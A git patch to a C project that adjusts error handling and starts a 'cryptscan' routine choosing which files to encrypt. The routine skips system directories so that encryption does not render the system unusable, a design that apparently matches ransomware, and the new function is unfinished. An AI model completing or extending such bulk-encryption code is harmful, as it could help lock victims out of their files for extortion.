From 9bf40160e911dd6c2affa856c375193ae0579947 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Sat, 27 Dec 2025 23:10:06 -0600 Subject: Start working on cryptscan again --- src/encryption.c | 35 ++++++++++++++++++++++------------- src/shared.c | 7 +++++-- src/tests.c | 11 +++++++++++ 3 files changed, 38 insertions(+), 15 deletions(-) diff --git a/src/encryption.c b/src/encryption.c index 9b264dc..e304e6e 100644 --- a/src/encryption.c +++ b/src/encryption.c @@ -287,9 +287,9 @@ int encryptviatmp(const char * const target, const char * const output, const un res = 0; CLEANUP_encryptviatmp: - // TODO: Add warning messages for verbose errors if(___VXGG___VERBOSE_ERRORS___) { switch (eflag) { + case 0: break; case 1: WARN(errno, " Warning: Could not open target fd \"%s\"",, target); case 2: WARN(errno, " Warning: Could not get real dirname for \"%s\"",, output); case 3: WARN(errno, " Warning: Could not make temp file in target dir \"%s\"",, targetdir); @@ -297,10 +297,10 @@ CLEANUP_encryptviatmp: case 5: WARN(errno, " Warning: Could not get FILE* handle for output file",); case 6: ERROR(1, ENOTRECOVERABLE, " ERROR: I don't even have a way to cause an error here. How did you do it?",); case 7: WARN(errno, " Warning: Could not link \"%s\" into system after encryption",, output); + default: WARN(0, " Warning: Ran into some unknown error",); } } - free(targetdir); fclose(src); fclose(dst); @@ -436,21 +436,30 @@ int genpassword(char **str, unsigned int words) { // fast, but I can also just reuse code I've already written and not make some absolute spaghetti mess trying to do everything // linearly -int __cscan_worker(void *data) { - if(!data) return -1; +/// Directory entries (files and folders) to exclude from encryption +#define EXCLUDED_ENTRIES ((const char* const []){\ + /* Entries found in /home/ */ \ + ".config", ".bashrc", \ + /* Entries included for extra safety, so that the encryption doesn't accidentally render the system unusable */ \ + "bin", "dev", "lib", "root", "boot", "etc", "lib32", "run", "sys", "usr", "home", "lib64", "proc", "sbin", "var"\ +}) - return 0; -} +/// Helper function to select files to be encrypted +static int _cryptscan__selector(const struct dirent *de) { + // entries with non-zero returns get included, zeros get excluded + if(!de) return 0; -ctqueue * cryptscan() { - ctqueue *res = ctqueue_init(TPSIZE), *working = ctqueue_init(TPSIZE); - if(!res || !working) ERRRET(errno, NULL); + for(int i = 0; i < STATIC_ARRAY_LEN(EXCLUDED_ENTRIES); i++) { + if(strncmp(de->d_name, EXCLUDED_ENTRIES[i], sizeof(de->d_name)) == 0) + return 0; + } + + return 1; +} - task *start = task_new(__cscan_worker, free, NULL); - if(!start) ERRRET(errno, NULL); - ctqueue_waitpush(working, start); +ctqueue * cryptscan(int threads, const char * const start) { + if(!start || threads < 1) return NULL; - return res; } #endif \ No newline at end of file diff --git a/src/shared.c b/src/shared.c index b6d27e4..1dd0309 100644 --- a/src/shared.c +++ b/src/shared.c @@ -29,8 +29,10 @@ //! Macro to exit on an alloc error instead of doing the terrible nested if statement that was being used previously #define XALLOC_EXIT(msg, ...) do { \ - if(___VXGG___VERBOSE_ERRORS___) error(EXIT_FAILURE, errno, (msg)__VA_ARGS__); \ - if(___VXGG___VXALLOC_EXIT_ON_ERROR___) exit(EXIT_FAILURE); \ + if(___VXGG___VXALLOC_EXIT_ON_ERROR___) { \ + if(___VXGG___VERBOSE_ERRORS___) error(EXIT_FAILURE, errno, (msg)__VA_ARGS__); \ + exit(EXIT_FAILURE); \ + } \ abort(); \ } while (0) @@ -102,6 +104,7 @@ int rwbuf(char **str, unsigned long int initsize, int fd) { ERR_rwbuf: if(___VXGG___VERBOSE_ERRORS___) { switch (eflag) { + case 0: break; case 1: WARN(errno, "Could not reallocate enough space for lstr",); break; case 2: WARN(errno, "Ran into a read() error",); break; case 3: WARN(errno, "Could not shrink lstr after reading buffer",); break; diff --git a/src/tests.c b/src/tests.c index a7531e8..251a580 100644 --- a/src/tests.c +++ b/src/tests.c @@ -1,3 +1,14 @@ +/** + * @file tests.c + * @author syxhe (https://t.me/syxhe) + * @brief A set of unit tests + * @version 0.1 + * @date 2025-11-10 + * + * @copyright Copyright (c) 2025 + * + */ + #define _GNU_SOURCE 1 #include "shared.c" -- cgit v1.2.3